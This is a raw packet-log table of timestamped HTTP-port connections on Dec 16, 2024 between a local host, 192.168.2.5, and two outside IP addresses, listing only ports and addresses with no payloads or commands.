Dec 16, 2024 09:01:44.408859968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.408904076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.408938885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.409038067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.410017014 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.410093069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.410155058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.410155058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.411245108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.411334991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.411372900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.411557913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.412373066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.412516117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.412532091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.412642002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.413580894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.413655996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.413706064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.413706064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.414815903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.414896011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.414923906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.415024996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.415880919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.415946007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.426891088 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.426898003 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.426913023 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.426945925 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427009106 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427028894 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427048922 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427134991 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427139997 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427164078 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427196026 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427222013 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427253962 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427258968 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427268028 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427310944 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427345037 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427350998 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427401066 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427442074 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427448034 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427483082 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427515030 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.427556038 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427618027 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427623987 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427721024 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427727938 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427772045 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427820921 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427875996 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.427947998 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428054094 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428059101 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428160906 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428240061 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428293943 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428322077 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428373098 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428381920 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428430080 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428507090 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428561926 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428611040 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428673983 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428702116 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428730965 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428781986 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428822041 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428884029 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.428900003 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.428950071 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.472812891 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.473105907 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.476835966 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.477072954 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.545831919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.545967102 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.546036005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.546156883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.546314001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.546411037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.546472073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.546472073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.546876907 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.546962023 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547003984 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547043085 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547075033 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547102928 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547122002 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547132969 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547138929 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547213078 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547251940 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547259092 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547341108 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547362089 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547416925 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547504902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.547514915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.547547102 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547554016 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547564030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.547568083 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547604084 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547626972 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547672033 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547677994 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547689915 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547750950 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547770977 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547791958 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547797918 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547811031 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.547861099 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.547878027 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548052073 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548171043 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548177004 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548191071 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548232079 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548269033 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548316956 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548384905 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548405886 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548492908 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548507929 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548513889 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548590899 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548713923 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548721075 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548778057 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548784018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.548798084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.548806906 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548811913 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548825979 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548831940 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548844099 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548849106 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548863888 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548886061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.548906088 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548926115 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548930883 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548933029 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.548969984 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.548983097 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549009085 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549030066 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549055099 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549068928 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549120903 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549127102 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549191952 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549237967 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549253941 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549350023 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549364090 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549375057 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549410105 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549427986 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549443960 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549525976 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549559116 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549565077 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549577951 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549597025 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549602985 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549622059 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549640894 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549650908 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549720049 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549734116 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549789906 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549834967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.549858093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.549870968 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549941063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.549958944 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.549962044 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549972057 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.549984932 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550004959 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550009966 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550014973 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550019979 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550033092 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.550049067 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.550081015 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.550132036 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.550184965 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.551039934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.551153898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.551157951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.551295996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.552223921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.552336931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.552356958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.552412033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.553416967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.553539038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.553565025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.553641081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.554610968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.554744005 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.554764986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.554860115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.555794954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.555898905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.555989981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.555989981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.556989908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.557092905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.557106972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.557248116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.558196068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.558259964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.558317900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.558371067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.559355021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.559433937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.559484005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.559557915 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.560576916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.560628891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.560870886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.561817884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.561920881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.561989069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.562942028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.563045025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.563126087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.563126087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.564136982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.564203978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.564237118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.564400911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.565336943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.565440893 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.565462112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.565512896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.566524029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.566595078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.566617012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.566694975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.567696095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.567795038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.567833900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.567890882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.568928957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.569039106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.569068909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.569123030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.570091009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.570197105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.570218086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.570278883 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.571290970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.571407080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.571424007 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.571490049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.572489023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.572654009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.572693110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.572710991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.573731899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.573858976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.573868990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.574014902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.574867010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.574976921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.574997902 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.575051069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.576046944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.576148033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.576167107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.576220989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.577234030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.577270031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.577405930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.578423977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.578550100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.578634977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.578634977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.579611063 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.579710007 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.579760075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.579834938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.580811024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.580909014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.580924034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.580990076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.582001925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.582113028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.582143068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.582171917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.582528114 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.583210945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.583304882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.583328009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.583381891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.584393978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.584460974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.584475994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.584592104 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.585577011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.585675001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.585685015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.585767984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.586772919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.586869955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.586910009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.586997032 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.587960958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.588048935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.588084936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.588136911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.589142084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.589205027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.589253902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.589339972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.590533018 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.590611935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.590636015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.590671062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.591567039 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.591631889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.591676950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.591775894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.592741966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.592804909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.592907906 CET	80	49900	31.41.244.11	192.168.2.5
